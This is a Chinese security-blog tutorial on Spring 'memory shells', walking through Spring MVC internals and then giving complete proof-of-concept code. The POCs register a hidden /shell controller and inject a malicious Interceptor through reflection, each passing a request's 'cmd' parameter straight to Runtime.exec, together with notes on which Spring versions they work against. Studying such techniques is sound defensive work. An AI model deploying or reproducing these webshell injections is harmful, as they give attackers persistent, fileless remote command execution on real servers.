JavaSec | Spring内存马学习

admin 2025年2月9日22:52:07评论4 views字数 24482阅读81分36秒阅读模式
本文由掌控安全学院 - 3358756550 投稿

 

Spring内存马学习

Spring

Spring简介

Spring是一个轻量级的Java开源框架,用于配置、管理和维护Bean(组件)的一种框架,其核心理念就是IoC(Inversion of Control,控制反转) 和 AOP(AspectOrientedProgramming, 面向切面编程)。现如今Spring全家桶已是一个庞大的家族

JavaSec | Spring内存马学习image-20250105172915342

 

Spring的出现大大简化了JavaEE的开发流程,减少了Java开发时各种繁琐的配置。

JavaSec | Spring内存马学习image-20250105172927837

Spring框架的核心之一就是分层,其由许多大大小小的组件构成,每种组件都实现不同功能。

JavaSec | Spring内存马学习image-20250105172939702

SpringBoot

SpringBoot 基于 Spring 开发。不仅继承了Spring框架原有的优秀特性,它并不是用来替代 Spring 的解决方案,而和 Spring 框架紧密 结合进一步简化了Spring应用的整个搭建和开发过程。其设计目的是用来简化 Spring 应用的初始搭建以及开发过程

下面我们就通过IDEA中的Spring Initializr来快速构建一个基于SpringBoot的Web项目(这里官方的现在不支持java8了,可以换成阿里的源:https://start.aliyun.com/)

JavaSec | Spring内存马学习image-20250108215554841

选择Spring Web

JavaSec | Spring内存马学习image-20250108214113618

然后idea会自动创建个启动类

package com.example.test;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;<span>@SpringBootApplication#CTL{n}public</span> class TestApplication { public static void main(String[] args) { SpringApplication.run(TestApplication.class, args); }}

application.properties中可以修改默认端口,然后就可以编写相应的Controller(控制器)及各种业务逻辑了

package com.example.test.test;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;<span>@Controller#CTL{n}public</span> class HelloWorldController { <span>@ResponseBody#CTL{n}</span> <span>@RequestMapping(</span>"hello_test") public String Hello(){ return "Hello World!"; }}

这里貌似会自动生成一些路由,我就换了个路由

JavaSec | Spring内存马学习

image-20250108220841310

Spring MVC

Spring MVC的运行流程

JavaSec | Spring内存马学习

image-20250109141900390
客户端发送Request,DispatcherServlet(等同于Controller控制器),控制器接收到请求,来到HandlerMapping(在配置文件中配置),HandlerMapping会对URL进行解析,并判断当前URL该交给哪个Controller来处理,找到对应的Controller之后,Controller就跟Server、JavaBean进行交互,得到某一个值,并返回一个视图(ModelAndView过程),Dispathcher通过ViewResolver视图解析器,找到ModelAndView对象指定的视图对象,最后,视图对象负责渲染返回给客户端。

创建一个简单的Spring MVC项目

这里我们使用Maven来创建一个简单的SpringMVC项目。创建好Maven项目后添加相应的Springmvc依赖。
这里说一下SpringMVC和SpringBoot完全不一样,SpringBoot 是一个框架,用于简化 Spring 应用的配置和部署,使得应用能够更快速地启动和开发。SpringMVC 是一个 Web 框架,用于处理 HTTP 请求,并基于 MVC 模式设计 Web 应用。所以一个SpringBoot项目中也可以使用SpringMVC
我的pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>SpringMVC</artifactId> <packaging>war</packaging> <version>1.0-SNAPSHOT</version> <name>SpringMVC Maven Webapp</name> <url>http://maven.apache.org</url> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> <org.springframework-version>4.1.4.RELEASE</org.springframework-version> </properties> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>3.8.1</version> <scope>test</scope> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>${org.springframework-version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>${org.springframework-version}</version> </dependency> <!-- Tag libs support for view layer --> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency> <dependency> <groupId>taglibs</groupId> <artifactId>standard</artifactId> <version>1.1.2</version> <scope>runtime</scope> </dependency> </dependencies> <build> <finalName>SpringMVC</finalName> </build></project>
创建Spring配置文件springmvc.xml

JavaSec | Spring内存马学习

image-20250109143631438
编写web.xml文件来配置Servlet,我的web.xml
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" ><web-app> <display-name>Archetype Created Web Application</display-name><!-- 使用默认的 DispatcherServlet --> <servlet> <servlet-name>spring</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <!-- spring 配置文件路径 --> <param-value>/WEB-INF/springmvc.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>spring</servlet-name> <!-- 路径设置为根目录 --> <url-pattern>/</url-pattern> </servlet-mapping></web-app>
创建Tomcat,记得添加相应的war包,我这里选择的是war exploded,方便调试
JavaSec | Spring内存马学习

image-20250109144416730

 

然后配置springmvc.xml,我的springmvc.xml
<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> //设置注解扫描包路径 <context:component-scan base-package="com.controller"/> <!-- 开启springMVC的注解驱动,使得url可以映射到对应的controller --> <mvc:annotation-driven /> <!-- 视图解析 --> <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"> <property name="prefix" value="/WEB-INF/views/"/> <property name="suffix" value=".jsp"/> </bean></beans>
最后在com.controller包下创建test控制器
JavaSec | Spring内存马学习

image-20250109144852457
package com.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;<span>@Controller#CTL{n}public</span> class test { <span>@ResponseBody#CTL{n}</span> <span>@RequestMapping(</span>"/hello") public String hello(){ return "Hello,here is my first springmvc test"; }}
然后启动tomcat就能访问了
JavaSec | Spring内存马学习

image-20250109145344550

Controller型内存马

Ioc,控制反转,对象原本由人来控制现在变为用容器来控制。
依赖注入:程序需要的依赖由容器创建被注入到需要的地方。
bean,豆子,java这杯咖啡由豆子组成。每个对象都是一个豆子。
ApplicationContext,容器,装豆子的。

实现思路

和Tomcat内存马类似,我们就需要了解如何动态的注册Controller,思路如下
1.获取上下文环境
2.注册恶意Controller
3.配置路径映射

获取上下文环境Context四种方法

第一种:getCurrentWebApplicationContext
WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext();
getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext
第二种:WebApplicationContextUtils
WebApplicationContext context2 = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
通过这种方法获得的也是一个Root WebApplicationContext。其中 WebApplicationContextUtils.getWebApplicationContext 函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext来替换。这里可能会报错无法访问javax.servlet.ServletContext 找不到javax.servlet.ServletContext的类文件,加个依赖就好了
<dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <!-- 或其他合适版本 --> <scope>provided</scope> </dependency>
第三种:RequestContextUtils
WebApplicationContext context3 = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
通过 ServletRequest 类的实例来获得 Child WebApplicationContext
第四种:getAttribute
WebApplicationContext context4 = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
测试的时候发现前两个为null
JavaSec | Spring内存马学习

image-20250109161233775
在web.xml中加入
<listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <context-param> <param-name>contextConfigLocation</param-name> <!-- 注册 Spring 配置文件 --> <param-value>classpath:applicationContext.xml</param-value> </context-param>
然后创建applicationContext.xml
<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="user" class="bean.User"></bean></beans>
按着报错创建个空的User类就好了

动态注册Controller

Spring Controller 的动态注册,就是对 RequestMappingHandlerMapping 注入的过程。
Spring 2.5 开始到 Spring 3.1 之前一般使用 org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping 映射器 ;
Spring 3.1 开始及以后一般开始使用新的 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping 映射器来支持@Contoller和@RequestMapping注解。#CTL{n}#CTL{n}#### registerMapping
在Spring 4.0及以后,可以使用registerMapping直接注册requestMapping
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中唯一的 Method 对象Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);

registerHandler

参考上面的 HandlerMapping 接口继承关系图,针对使用 DefaultAnnotationHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping
在其registerHandler()方法中
protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException { Assert.notNull(urlPath, "URL path must not be null"); Assert.notNull(handler, "Handler object must not be null"); Object resolvedHandler = handler; // Eagerly resolve handler if referencing singleton via name. if (!this.lazyInitHandlers && handler instanceof String) { String handlerName = (String) handler; ApplicationContext applicationContext = obtainApplicationContext(); if (applicationContext.isSingleton(handlerName)) { resolvedHandler = applicationContext.getBean(handlerName); } } Object mappedHandler = this.handlerMap.get(urlPath); if (mappedHandler != null) { if (mappedHandler != resolvedHandler) { throw new IllegalStateException( "Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath + "]: There is already " + getHandlerDescription(mappedHandler) + " mapped."); } } else { if (urlPath.equals("/")) { if (logger.isTraceEnabled()) { logger.trace("Root mapping to " + getHandlerDescription(handler)); } setRootHandler(resolvedHandler); } else if (urlPath.equals("/*")) { if (logger.isTraceEnabled()) { logger.trace("Default mapping to " + getHandlerDescription(handler)); } setDefaultHandler(resolvedHandler); } else { this.handlerMap.put(urlPath, resolvedHandler); if (getPatternParser() != null) { this.pathPatternHandlerMap.put(getPatternParser().parse(urlPath), resolvedHandler); } if (logger.isTraceEnabled()) { logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler)); } } } }
接收一个urlpath和一个handler,这两者分别就是路由和controller
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);m1.setAccessible(true);m1.invoke(dh, "/favicon", "dynamicController");

detectHandlerMethods

参考上面的 HandlerMapping 接口继承关系图,针对使用 RequestMappingHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping
在其detectHandlerMethods() 方法中
protected void detectHandlerMethods(Object handler) { Class<?> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass(); final Class<?> userType = ClassUtils.getUserClass(handlerType); Set methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() { public boolean matches(Method method) { return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null; } }); Iterator var6 = methods.iterator(); while(var6.hasNext()) { Method method = (Method)var6.next(); T mapping = this.getMappingForMethod(method, userType); this.registerHandlerMethod(handler, method, mapping); }}
只需传入一个handler即可
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);m1.setAccessible(true);m1.invoke(requestMappingHandlerMapping, "dynamicController");

完整POC

package com.shell.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import java.io.IOException;import java.lang.reflect.Method;<span>@Controller#CTL{n}public</span> class shell_controller {// <span>@ResponseBody#CTL{n}</span> <span>@RequestMapping(</span>"/control") public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException { //获取当前上下文环境 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); //手动注册Controller RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = Controller_Shell.class.getDeclaredMethod("shell"); PatternsRequestCondition url = new PatternsRequestCondition("/shell"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); r.registerMapping(info, new Controller_Shell(), method); } public class Controller_Shell{ public void shell() throws IOException { //获取request HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); Runtime.getRuntime().exec(request.getParameter("cmd")); } }}
JavaSec | Spring内存马学习

image-20250110165512981
然后访问我们定义恶意Controller的路由/shell
JavaSec | Spring内存马学习

image-20250110165541645

坑点

我这里试了好几个版本,最后发现在4.1.9,5.2.9版本才能打通,应该是4.x.x,5.x.x版本都行。重新引入新一个版本的spring时发现还是找不到registerMapping,结果发现是没有清除干净缓存,lib里面还有4.x.x的jar包,先清除一下项目再重新构建就好了
mvn clean
而且registerHandler和detectHandlerMethods我这测试都不行,说是context不存在getBeanFactory方法

总结

写一个自定义的control路由,这个路由先是获取了当前上下文的bean,然后写一个恶意的方法,用PatternsRequestCondition绑定路由,用RequestMethodsRequestCondition定义能访问该恶意路由的HTTP方法,最后创建一个RequestMappingInfo,将恶意方法的路由,允许的请求方法和参数打包,再用registerMapping将其注册为一个控制器方法,用来处理/shell路径的请求。
因此访问control路由时,shell这个恶意路由就能成功地注册,达到rce

Interceptor型内存马

Interceptor简介

Spring MVC 的拦截器(Interceptor)与 Java Servlet 的过滤器(Filter)类似,它主要用于拦截用户的请求并做相应的处理,通常应用在权限验证、记录请求信息的日志、判断用户是否登录等功能上。
在 Spring MVC 框架中定义一个拦截器需要对拦截器进行定义和配置,主要有以下 2 种方式。
1.通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor 接口的实现类(例如 HandlerInterceptorAdapter)来定义
2.通过实现 WebRequestInterceptor 接口或继承 WebRequestInterceptor 接口的实现类来定义

环境搭建

先写个Interceptor
package Interceptor;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.PrintWriter;public class Spring_Interceptor implements HandlerInterceptor { <span>@Override#CTL{n}</span> public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("LoginIn"); return true; } <span>@Override#CTL{n}</span> public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { System.out.println("posthandle"); } <span>@Override#CTL{n}</span> public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { System.out.println("afterhandle"); }}
在springmvc.xml配置文件中配置相应的Interceptor,别忘了加上注解扫描包路径
<!-- 设置注解扫描包路径 --> <context:component-scan base-package="Controller"/> <!-- 启用Spring MVC注解驱动 --> <mvc:annotation-driven/> <!-- 配置拦截器 --> <mvc:interceptors> <mvc:interceptor> <mvc:mapping path="/**"/> <bean class="Interceptor.Spring_Interceptor"/> </mvc:interceptor> </mvc:interceptors>
写个正常的Controller
package Controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;<span>@Controller#CTL{n}#CTL{n}public</span> class Spring_Controller { <span>@ResponseBody#CTL{n}</span> <span>@RequestMapping(</span>"/login") public String Login(){ return "Success!"; }}
访问的话没返回的是拦截器的处理而不是控制器
JavaSec | Spring内存马学习

image-20250110205604909

request调用流程

先说一下各个组件触发的顺序为
Listen->Filter->Interceptor->controller
先看下是怎么调用到Controller的,因为是tomcat,最开始肯定要经过Filter,先在ApplicationFilterChain#internalDoFilter处下一个断点,可以看到此时的调用栈是和启动Tomcat时相同的
JavaSec | Spring内存马学习

image-20250110210404649
但与Tomcat不同的是,当调用到HttpServlet#service时,最终会调用DispatcherServlet#doDispatch,跟进可以看到
JavaSec | Spring内存马学习

image-20250114143629902
doDispatch:901, DispatcherServlet (org.springframework.web.servlet)doService:877, DispatcherServlet (org.springframework.web.servlet)processRequest:966, FrameworkServlet (org.springframework.web.servlet)doGet:857, FrameworkServlet (org.springframework.web.servlet)service:655, HttpServlet (javax.servlet.http)service:842, FrameworkServlet (org.springframework.web.servlet)service:764, HttpServlet (javax.servlet.http)internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)doFilter:166, ApplicationFilterChain (org.apache.catalina.core)....
可以看到doDispatch先是检查请求是否为多部分请求然后再调用的 getHandler ,跟进一下
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception { Iterator var2 = this.handlerMappings.iterator(); HandlerExecutionChain handler; do { if (!var2.hasNext()) { return null; } HandlerMapping hm = (HandlerMapping)var2.next(); if (this.logger.isTraceEnabled()) { this.logger.trace("Testing handler map [" + hm + "] in DispatcherServlet with name '" + this.getServletName() + "'"); } handler = hm.getHandler(request); } while(handler == null); return handler; }
在 getHandler 方法中,会通过遍历 this.handlerMappings 来获取 HandlerMapping 对象实例 mapping
JavaSec | Spring内存马学习

image-20250114144110651
跟进hm.getHandler会发现 getHandler 实际上会调用org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 getHandler 方法,并通过 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 类的实例,org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler
public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception { Object handler = this.getHandlerInternal(request); if (handler == null) { handler = this.getDefaultHandler(); } if (handler == null) { return null; } else { if (handler instanceof String) { String handlerName = (String)handler; handler = this.getApplicationContext().getBean(handlerName); } return this.getHandlerExecutionChain(handler, request); } }
跟进AbstractHandlerMapping#getHandlerExecutionChain
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) { HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler); chain.addInterceptors(this.getAdaptedInterceptors()); String lookupPath = this.urlPathHelper.getLookupPathForRequest(request); Iterator var5 = this.mappedInterceptors.iterator(); while(var5.hasNext()) { MappedInterceptor mappedInterceptor = (MappedInterceptor)var5.next(); if (mappedInterceptor.matches(lookupPath, this.pathMatcher)) { chain.addInterceptor(mappedInterceptor.getInterceptor()); } } return chain; }
可以看到最后是通过chain.addInterceptor()将所有Interceptor添加到HandlerExecutionChain中,最后返回到DispatcherServlet#doDispatch()中,调用mappedHandler.applyPreHandle方法
JavaSec | Spring内存马学习

image-20250114150632548
org.springframework.web.servlet.HandlerExecutionChain.java#applyPreHandle
boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception { HandlerInterceptor[] interceptors = getInterceptors(); if (!ObjectUtils.isEmpty(interceptors)) { for (int i = 0; i adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping);

实现恶意Interceptor

package Interceptor;import org.springframework.web.servlet.HandlerInterceptor;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;public class Shell_Interceptor implements HandlerInterceptor { <span>@Override#CTL{n}</span> public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { Runtime.getRuntime().exec(request.getParameter("cmd")); return true; } <span>@Override#CTL{n}</span> public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { System.out.println("posthandle"); } <span>@Override#CTL{n}</span> public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { System.out.println("afterhandle"); }}

动态注册Interceptor

我们知道Spring是通过遍历adaptedInterceptors属性值来执行Interceptor的,因此最后我们只需要将恶意Interceptor加入到 adaptedInterceptors 属性值中就可以了。
//将恶意Interceptor添加入adaptedInterceptorsShell_Interceptor shell_interceptor = new Shell_Interceptor();adaptedInterceptors.add(shell_interceptor);

完整poc

package Interceptor;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import org.springframework.web.servlet.support.RequestContextUtils;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;<span>@Controller#CTL{n}public</span> class Inject_Shell_Interceptor_Controller { <span>@ResponseBody#CTL{n}</span> <span>@RequestMapping(</span>"/inject") public void Inject() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { //获取上下文环境 WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); //获取adaptedInterceptors属性值 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping); //将恶意Interceptor添加入adaptedInterceptors Shell_Interceptor shell_interceptor = new Shell_Interceptor(); adaptedInterceptors.add(shell_interceptor); } public class Shell_Interceptor implements HandlerInterceptor{ <span>@Override#CTL{n}</span> public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { Runtime.getRuntime().exec(request.getParameter("cmd")); return true; } <span>@Override#CTL{n}</span> public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { System.out.println("posthandle"); } <span>@Override#CTL{n}</span> public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { System.out.println("afterhandle"); }}

总结

Spring MVC 的拦截器(Interceptor)与 Java Servlet 的过滤器(Filter)类似,我们选择HandlerInterceptor接口来实现一个Interceptor,因为HandlerInterceptor接口有三个方法,其中我们用到的是 preHandle,该方法在控制器的处理请求方法前执行。
实现Interceptor内存马的思路和tomcat中实现Filter内存马的思路其实是差不多的,大概三个步骤
1.获取当前运行环境的上下文
2.实现恶意Interceptor
3.注入恶意Interceptor
注入的话,因为Spring是通过遍历adaptedInterceptors属性值来执行Interceptor的,因此最后我们只需要将恶意Interceptor加入到 adaptedInterceptors 属性值中就可以了

参考:

https://unk.org.cn/2024/02/06/spring-memshell/
https://xz.aliyun.com/t/12047?time__1311=GqGxR70QD%3DG%3DitD%2FYriQGkbiWRB8aF4D#toc-4
https://stoocea.github.io/post/Spring型内存马分析.html#0x03-interceptor-内存马的实现流程
https://goodapple.top/archives/1355
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

JavaSec | Spring内存马学习

 

原文始发于微信公众号(掌控安全EDU):JavaSec | Spring内存马学习

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月9日22:52:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JavaSec | Spring内存马学习https://cn-sec.com/archives/3718786.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息